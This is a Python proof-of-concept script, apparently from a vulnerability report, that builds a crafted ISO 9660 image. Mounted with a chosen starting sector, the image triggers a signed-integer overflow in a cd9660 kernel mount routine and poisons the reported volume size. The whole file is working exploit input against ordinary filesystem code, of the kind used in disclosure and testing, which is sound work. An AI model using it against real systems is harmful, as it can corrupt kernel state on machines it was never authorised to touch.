DF-0852 / craft_iso.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | #!/usr/bin/env python3 """ Craft a minimal valid ISO 9660 image to demonstrate the signed-integer overflow in cd9660_vfsops.c iso_mountfs() at line 427: isomp->volume_space_size += argp->ssector; `volume_space_size` is read from the PVD (attacker-controlled via the image) and `ssector` is the user-supplied starting sector (unvalidated). We place the PVD at sector (16 + SSECTOR) so that mount_cd9660 -s SSECTOR finds it, and we set the PVD volume_space_size field to a value chosen so that VOLUME_SPACE_SIZE + SSECTOR > INT_MAX which makes the signed `int` addition wrap (signed-integer overflow / UB), poisoning isomp->volume_space_size. The effect is directly observable via statfs(): f_blocks becomes the wrapped (negative -> sign-extended long) value. The image also contains a minimal root directory extent so that the mount actually succeeds and reaches the statfs path. """ import struct, sys SECTOR = 2048 def both32(v): """733 both-endian: little-endian (4) then big-endian (4).""" return struct.pack("<I", v) + struct.pack(">I", v) def both23(v): """723 both-endian 16-bit: LE(2) then BE(2).""" return struct.pack("<H", v) + struct.pack(">H", v) def dir_record(extent_lba, size, flags, fid): """Build a 34-byte ISO directory record (fid len assumed 1).""" rec = bytearray(34) rec[0] = 34 # length of directory record rec[1] = 0 # extended attribute record length rec[2:10] = both32(extent_lba) # location of extent (LBA) rec[10:18] = both32(size) # data length rec[18:25] = b"\x00" * 7 # recording date/time rec[25] = flags # file flags (0x02 = directory) rec[26] = 0 # file unit size rec[27] = 0 # interleave gap size rec[28:32] = both23(1) # volume sequence number rec[32] = 1 # length of file identifier rec[33] = fid # file identifier (0x00 = root/self) return bytes(rec) def build_pvd(vss, root_extent_lba): pvd = bytearray(SECTOR) pvd[0] = 0x01 # type = Primary Volume Descriptor pvd[1:6] = b"CD001" # standard id pvd[6] = 0x01 # version # system_id (32) / volume_id (32) pvd[8:40] = b"CRAFTED_SYSTEM_ID " pvd[40:72] = b"CRAFTED_VOLUME_ID " # volume_space_size at bytes [80:88] (733) pvd[80:88] = both32(vss) # volume_set_size [120:124], volume_sequence_number [124:128] pvd[120:124] = both23(1) pvd[124:128] = both23(1) # logical_block_size [128:132] = 2048 pvd[128:132] = both23(SECTOR) # path_table_size [132:140] (fake, not read during mount) pvd[132:140] = both32(SECTOR) # type_l_path_table [140:144] / opt [144:148] / type_m [148:152] / opt [152:156] pvd[140:144] = struct.pack("<I", 0) pvd[144:148] = struct.pack("<I", 0) pvd[148:152] = struct.pack(">I", 0) pvd[152:156] = struct.pack(">I", 0) # root_directory_record [156:190] (34 bytes) pvd[156:190] = dir_record(root_extent_lba, SECTOR, 0x02, 0x00) return bytes(pvd) def build_vdst(): v = bytearray(SECTOR) v[0] = 0xFF # type = Volume Descriptor Set Terminator v[1:6] = b"CD001" v[6] = 0x01 return bytes(v) def build_rootdir(self_lba): blk = bytearray(SECTOR) # "." entry -> self blk[0:34] = dir_record(self_lba, SECTOR, 0x02, 0x00) # ".." entry -> parent (root's parent is itself) blk[34:68] = dir_record(self_lba, SECTOR, 0x02, 0x01) return bytes(blk) def main(): ssector = int(sys.argv[1]) if len(sys.argv) > 1 else 16 # volume_space_size chosen so that VSS + ssector overflows signed 32-bit. # VSS = 0x7FFFFFF0 ; + ssector(16) = 0x80000000 = INT_MIN (overflow) vss = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0x7FFFFFF0 out = sys.argv[3] if len(sys.argv) > 3 else "iso_overflow.iso" pvd_lba = 16 + ssector vdst_lba = 17 + ssector root_lba = 18 + ssector nsec = 19 + ssector + 4 # a few trailing zero sectors img = bytearray(nsec * SECTOR) img[pvd_lba * SECTOR:(pvd_lba + 1) * SECTOR] = build_pvd(vss, root_lba) img[vdst_lba * SECTOR:(vdst_lba + 1) * SECTOR] = build_vdst() img[root_lba * SECTOR:(root_lba + 1) * SECTOR] = build_rootdir(root_lba) with open(out, "wb") as f: f.write(img) print(f"[craft_iso] ssector={ssector} (0x{ssector:x})") print(f"[craft_iso] PVD volume_space_size field = 0x{vss:08x} ({vss})") s = (vss + ssector) & 0xFFFFFFFF print(f"[craft_iso] VSS + ssector = 0x{vss:08x} + 0x{ssector:x} = 0x{s:08x}") print(f"[craft_iso] PVD at sector {pvd_lba} (offset {pvd_lba*SECTOR})") print(f"[craft_iso] VDST at sector {vdst_lba}") print(f"[craft_iso] root dir extent at sector {root_lba}") print(f"[craft_iso] image size = {len(img)} bytes ({nsec} sectors) -> {out}") if __name__ == "__main__": main() |